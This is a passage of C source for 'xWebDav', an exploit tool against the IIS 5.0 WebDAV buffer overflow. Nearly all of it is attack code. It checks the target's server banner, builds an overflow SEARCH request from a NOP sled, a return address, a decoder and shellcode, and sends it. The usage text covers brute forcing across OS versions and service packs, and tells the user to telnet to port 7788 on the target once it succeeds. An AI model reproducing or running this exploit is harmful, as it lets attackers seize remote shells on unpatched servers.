            printf("send buffer error:%d.\n", WSAGetLastError());
            __leave;
        }

        iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
        if(iErr == SOCKET_ERROR)
        {
            if(WSAGetLastError() == WSAETIMEDOUT) iRet = ERROR_RECV_TIMEOUT;
            if(WSAGetLastError() == 10054) iRet = ERROR_CONNECT_RESET;
            //printf("recv buffer error:%d.\n", WSAGetLastError());
            __leave;
        }
        if(strstr(szRecvBuff, "Microsoft-IIS/5.0") == NULL)
        {
            iRet = ERROR_NOT_IIS;
            printf("Target not iis.\n");
            __leave;
        }
        if(strstr(szRecvBuff, "404 Resource Not Found"))
        {
            iRet = ERROR_RESOURCE_NOTFOUND;
            __leave;
        }
        if(strstr(szRecvBuff, "400 Bad Request"))
        {
            iRet = ERROR_BAD_REQUEST;
            __leave;
        }
        if(strstr(szRecvBuff, "501 Not Supported"))
        {
            iRet = ERROR_METHOD_NOT_SUPORT;
            printf("501 Not Supported\n");
            __leave;
        }
    }
    __finally
    {
        if(s != INVALID_SOCKET) closesocket(s);
        WSACleanup();
    }
    return iRet;
}
//
//offset为IIS PATH的长度
//
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort)
{
    unsigned char jmpaddr[16];
    unsigned char *pStr, szNOP[4];
    int        i, iNop, iRet;

    szNOP[0]=NOPCODE;
    szNOP[1]='\0';
    //转换字符格式
    sprintf(jmpaddr,"%%u%.2X%.2X%%u%.2X%.2X", retaddr>>8&0xFF, retaddr&0xFF,
        retaddr>>24&0xFF, retaddr>>16&0xFF);
    //分配内存
    pStr = (unsigned char *)malloc(40000);
    //组合buffer
    strcpy(pStr, "SEARCH /");
    //填充NOP CODE  IISPATH+NOP = 0x260/2
    for(i=offset;i<OVERPOINT/2;i++)
        strcat(pStr, szNOP);
    //jmp to decoder
    strcat(pStr, jmpover);
    //jmp addr
    strcat(pStr, jmpaddr);
    //decode real shellcode
    strcat(pStr, decoder);
    //real shellcode
    strcat(pStr, xShellCode);
    //计算后面还需填充多少个NOP CODE
    iNop = (BUFFLEN-OVERPOINT-8-strlen(decoder)/3-strlen(xShellCode)*2)/2;
    //填充NOP CODE
    for(i=0;i<iNop;i++)
        strcat(pStr, szNOP);
    strcat(pStr, " HTTP/1.0\n"
                 "Content-Type: text/xml\n"
                 "Content-length:8\n\n"
                 "OOOOOOOO\n\n");
    //发送我们精心构造的buff
    iRet = SendBuffer(ip, iPort, pStr, strlen(pStr));
    //释放内存
    free(pStr);
    return iRet;
}

void usage()
{
    printf( "\nxWebDav -> IIS5.0 webdav remote buffer overflow exploit\n"
            "Writen by ey4s<cooleyas@21cn.com>\n"
            "Thanks to yuange,moda,isno.\n"
            "2004-04-24\n"
            "if success, telnet to target:7788\n\n"
            "usage: xWebDav <-i ip> [-h host] [-p port] [-t OsType] [-s sp] [-o
offset]\n\n"
            "[OsType]\n"
            "0\tSimplified Chinese,Traditional Chinese.\n"
            "1\tJapanese,Korean.\n"
            "2\tOS is English edition and system default codepage is
CN、TW、JP、KR.\n\n"
            "[sp]\n"
            "0\tservice pack 0(default install,not any patch)\n"
            "1\tservice pack 1\n"
            "2\tservice pack 2\n"
            "3\tservice pack 3\n\n"
            "[offset]\n"
            "7-80\n\n"
            "[example]\n"
            "xWebDav -i 1.1.1.1                  <- brute force mode\n"
            "xWebDav -i 1.1.1.1 -t 1             <- try exploit JP、KR sp0-3\n"
            "xWebDav -i 1.1.1.1 -t 1 -s 3 -o 23  <- try exploit JP、KR sp3 use
offset 23\n\n");
}

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
版权所有,未经许可,不得转载